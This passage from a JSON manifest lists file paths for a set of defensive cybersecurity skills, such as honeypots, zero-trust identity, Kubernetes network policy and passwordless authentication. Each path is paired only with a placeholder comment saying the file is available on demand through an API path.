-->","skills/implementing-honeypot-for-ransomware-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2FSKILL.md -->","skills/implementing-honeypot-for-ransomware-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Fassets%2Ftemplate.md -->","skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-honeypot-for-ransomware-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fstandards.md -->","skills/implementing-honeypot-for-ransomware-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fworkflows.md -->","skills/implementing-honeytokens-for-breach-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeytokens-for-breach-detection%2FSKILL.md -->","skills/implementing-honeytokens-for-breach-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeytokens-for-breach-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-ics-firewall-with-tofino/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ics-firewall-with-tofino%2FSKILL.md -->","skills/implementing-ics-firewall-with-tofino/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ics-firewall-with-tofino%2Freferences%2Fapi-reference.md -->","skills/implementing-identity-governance-with-sailpoint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-governance-with-sailpoint%2FSKILL.md -->","skills/implementing-identity-governance-with-sailpoint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-governance-with-sailpoint%2Freferences%2Fapi-reference.md -->","skills/implementing-identity-verification-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2FSKILL.md -->","skills/implementing-identity-verification-for-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Fassets%2Ftemplate.md -->","skills/implementing-identity-verification-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/implementing-identity-verification-for-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fstandards.md -->","skills/implementing-identity-verification-for-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fworkflows.md -->","skills/implementing-iec-62443-security-zones/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iec-62443-security-zones%2FSKILL.md -->","skills/implementing-iec-62443-security-zones/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iec-62443-security-zones%2Freferences%2Fapi-reference.md -->","skills/implementing-image-provenance-verification-with-cosign/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2FSKILL.md -->","skills/implementing-image-provenance-verification-with-cosign/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Fassets%2Ftemplate.md -->","skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fapi-reference.md -->","skills/implementing-image-provenance-verification-with-cosign/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fstandards.md -->","skills/implementing-image-provenance-verification-with-cosign/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fworkflows.md -->","skills/implementing-immutable-backup-with-restic/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-immutable-backup-with-restic%2FSKILL.md -->","skills/implementing-immutable-backup-with-restic/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-immutable-backup-with-restic%2Freferences%2Fapi-reference.md -->","skills/implementing-infrastructure-as-code-security-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2FSKILL.md -->","skills/implementing-infrastructure-as-code-security-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-infrastructure-as-code-security-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fstandards.md -->","skills/implementing-infrastructure-as-code-security-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-iso-27001-information-security-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2FSKILL.md -->","skills/implementing-iso-27001-information-security-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Fassets%2Ftemplate.md -->","skills/implementing-iso-27001-information-security-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fapi-reference.md -->","skills/implementing-iso-27001-information-security-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fstandards.md -->","skills/implementing-iso-27001-information-security-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fworkflows.md -->","skills/implementing-just-in-time-access-provisioning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2FSKILL.md -->","skills/implementing-just-in-time-access-provisioning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Fassets%2Ftemplate.md -->","skills/implementing-just-in-time-access-provisioning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fapi-reference.md -->","skills/implementing-just-in-time-access-provisioning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fstandards.md -->","skills/implementing-just-in-time-access-provisioning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fworkflows.md -->","skills/implementing-jwt-signing-and-verification/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2FSKILL.md -->","skills/implementing-jwt-signing-and-verification/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Fassets%2Ftemplate.md -->","skills/implementing-jwt-signing-and-verification/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fapi-reference.md -->","skills/implementing-jwt-signing-and-verification/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fstandards.md -->","skills/implementing-jwt-signing-and-verification/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fworkflows.md -->","skills/implementing-kubernetes-network-policy-with-calico/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2FSKILL.md -->","skills/implementing-kubernetes-network-policy-with-calico/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Fassets%2Ftemplate.md -->","skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fapi-reference.md -->","skills/implementing-kubernetes-network-policy-with-calico/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fstandards.md -->","skills/implementing-kubernetes-network-policy-with-calico/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fworkflows.md -->","skills/implementing-kubernetes-pod-security-standards/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2FSKILL.md -->","skills/implementing-kubernetes-pod-security-standards/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Fassets%2Ftemplate.md -->","skills/implementing-kubernetes-pod-security-standards/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fapi-reference.md -->","skills/implementing-kubernetes-pod-security-standards/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fstandards.md -->","skills/implementing-kubernetes-pod-security-standards/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fworkflows.md -->","skills/implementing-llm-guardrails-for-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-llm-guardrails-for-security%2FSKILL.md -->","skills/implementing-llm-guardrails-for-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-llm-guardrails-for-security%2Freferences%2Fapi-reference.md -->","skills/implementing-log-forwarding-with-fluentd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-forwarding-with-fluentd%2FSKILL.md -->","skills/implementing-log-forwarding-with-fluentd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-forwarding-with-fluentd%2Freferences%2Fapi-reference.md -->","skills/implementing-log-integrity-with-blockchain/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-integrity-with-blockchain%2FSKILL.md -->","skills/implementing-log-integrity-with-blockchain/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-integrity-with-blockchain%2Freferences%2Fapi-reference.md -->","skills/implementing-memory-protection-with-dep-aslr/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2FSKILL.md -->","skills/implementing-memory-protection-with-dep-aslr/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Fassets%2Ftemplate.md -->","skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fapi-reference.md -->","skills/implementing-memory-protection-with-dep-aslr/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fstandards.md -->","skills/implementing-memory-protection-with-dep-aslr/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fworkflows.md -->","skills/implementing-microsegmentation-with-guardicore/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-microsegmentation-with-guardicore%2FSKILL.md -->","skills/implementing-microsegmentation-with-guardicore/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-microsegmentation-with-guardicore%2Freferences%2Fapi-reference.md -->","skills/implementing-mimecast-targeted-attack-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2FSKILL.md -->","skills/implementing-mimecast-targeted-attack-protection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Fassets%2Ftemplate.md -->","skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-mimecast-targeted-attack-protection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fstandards.md -->","skills/implementing-mimecast-targeted-attack-protection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fworkflows.md -->","skills/implementing-mitre-attack-coverage-mapping/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2FSKILL.md -->","skills/implementing-mitre-attack-coverage-mapping/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Fassets%2Ftemplate.md -->","skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fapi-reference.md -->","skills/implementing-mitre-attack-coverage-mapping/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fstandards.md -->","skills/implementing-mitre-attack-coverage-mapping/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fworkflows.md -->","skills/implementing-mobile-application-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2FSKILL.md -->","skills/implementing-mobile-application-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Fassets%2Ftemplate.md -->","skills/implementing-mobile-application-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fapi-reference.md -->","skills/implementing-mobile-application-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fstandards.md -->","skills/implementing-mobile-application-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fworkflows.md -->","skills/implementing-mtls-for-zero-trust-services/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mtls-for-zero-trust-services%2FSKILL.md -->","skills/implementing-mtls-for-zero-trust-services/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mtls-for-zero-trust-services%2Freferences%2Fapi-reference.md -->","skills/implementing-nerc-cip-compliance-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-nerc-cip-compliance-controls%2FSKILL.md -->","skills/implementing-nerc-cip-compliance-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-nerc-cip-compliance-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-network-access-control-with-cisco-ise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control-with-cisco-ise%2FSKILL.md -->","skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control-with-cisco-ise%2Freferences%2Fapi-reference.md -->","skills/implementing-network-access-control/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control%2FSKILL.md -->","skills/implementing-network-access-control/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control%2Freferences%2Fapi-reference.md -->","skills/implementing-network-deception-with-honeypots/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-deception-with-honeypots%2FSKILL.md -->","skills/implementing-network-deception-with-honeypots/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-deception-with-honeypots%2Freferences%2Fapi-reference.md -->","skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-intrusion-prevention-with-suricata%2FSKILL.md -->","skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-intrusion-prevention-with-suricata%2Freferences%2Fapi-reference.md -->","skills/implementing-network-policies-for-kubernetes/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2FSKILL.md -->","skills/implementing-network-policies-for-kubernetes/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Fassets%2Ftemplate.md -->","skills/implementing-network-policies-for-kubernetes/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fapi-reference.md -->","skills/implementing-network-policies-for-kubernetes/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fstandards.md -->","skills/implementing-network-policies-for-kubernetes/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fworkflows.md -->","skills/implementing-network-segmentation-for-ot/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-for-ot%2FSKILL.md -->","skills/implementing-network-segmentation-for-ot/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-for-ot%2Freferences%2Fapi-reference.md -->","skills/implementing-network-segmentation-with-firewall-zones/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-with-firewall-zones%2FSKILL.md -->","skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-with-firewall-zones%2Freferences%2Fapi-reference.md -->","skills/implementing-network-traffic-analysis-with-arkime/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-analysis-with-arkime%2FSKILL.md -->","skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-analysis-with-arkime%2Freferences%2Fapi-reference.md -->","skills/implementing-network-traffic-baselining/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-baselining%2FSKILL.md -->","skills/implementing-network-traffic-baselining/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-baselining%2Freferences%2Fapi-reference.md -->","skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2FSKILL.md -->","skills/implementing-next-generation-firewall-with-palo-alto/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Fassets%2Ftemplate.md -->","skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fapi-reference.md -->","skills/implementing-next-generation-firewall-with-palo-alto/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fstandards.md -->","skills/implementing-next-generation-firewall-with-palo-alto/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fworkflows.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2FSKILL.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Fassets%2Ftemplate.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fapi-reference.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fstandards.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fworkflows.md -->","skills/implementing-ot-incident-response-playbook/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-incident-response-playbook%2FSKILL.md -->","skills/implementing-ot-incident-response-playbook/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-incident-response-playbook%2Freferences%2Fapi-reference.md -->","skills/implementing-ot-network-traffic-analysis-with-nozomi/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-network-traffic-analysis-with-nozomi%2FSKILL.md -->","skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-network-traffic-analysis-with-nozomi%2Freferences%2Fapi-reference.md -->","skills/implementing-pam-for-database-access/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pam-for-database-access%2FSKILL.md -->","skills/implementing-pam-for-database-access/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pam-for-database-access%2Freferences%2Fapi-reference.md -->","skills/implementing-passwordless-auth-with-microsoft-entra/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-auth-with-microsoft-entra%2FSKILL.md -->","skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-auth-with-microsoft-entra%2Freferences%2Fapi-reference.md -->","skills/implementing-passwordless-authentication-with-fido2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2FSKILL.md -->","skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fapi-reference.md -->","skills/implementing-passwordless-authentication-with-fido2/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fstandards.md -->","skills/implementing-passwordless-authentication-with-fido2/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fworkflows.md -->","skills/implementing-patch-management-for-ot-systems/SKILL.md":"<!-- Skill available on-demand via 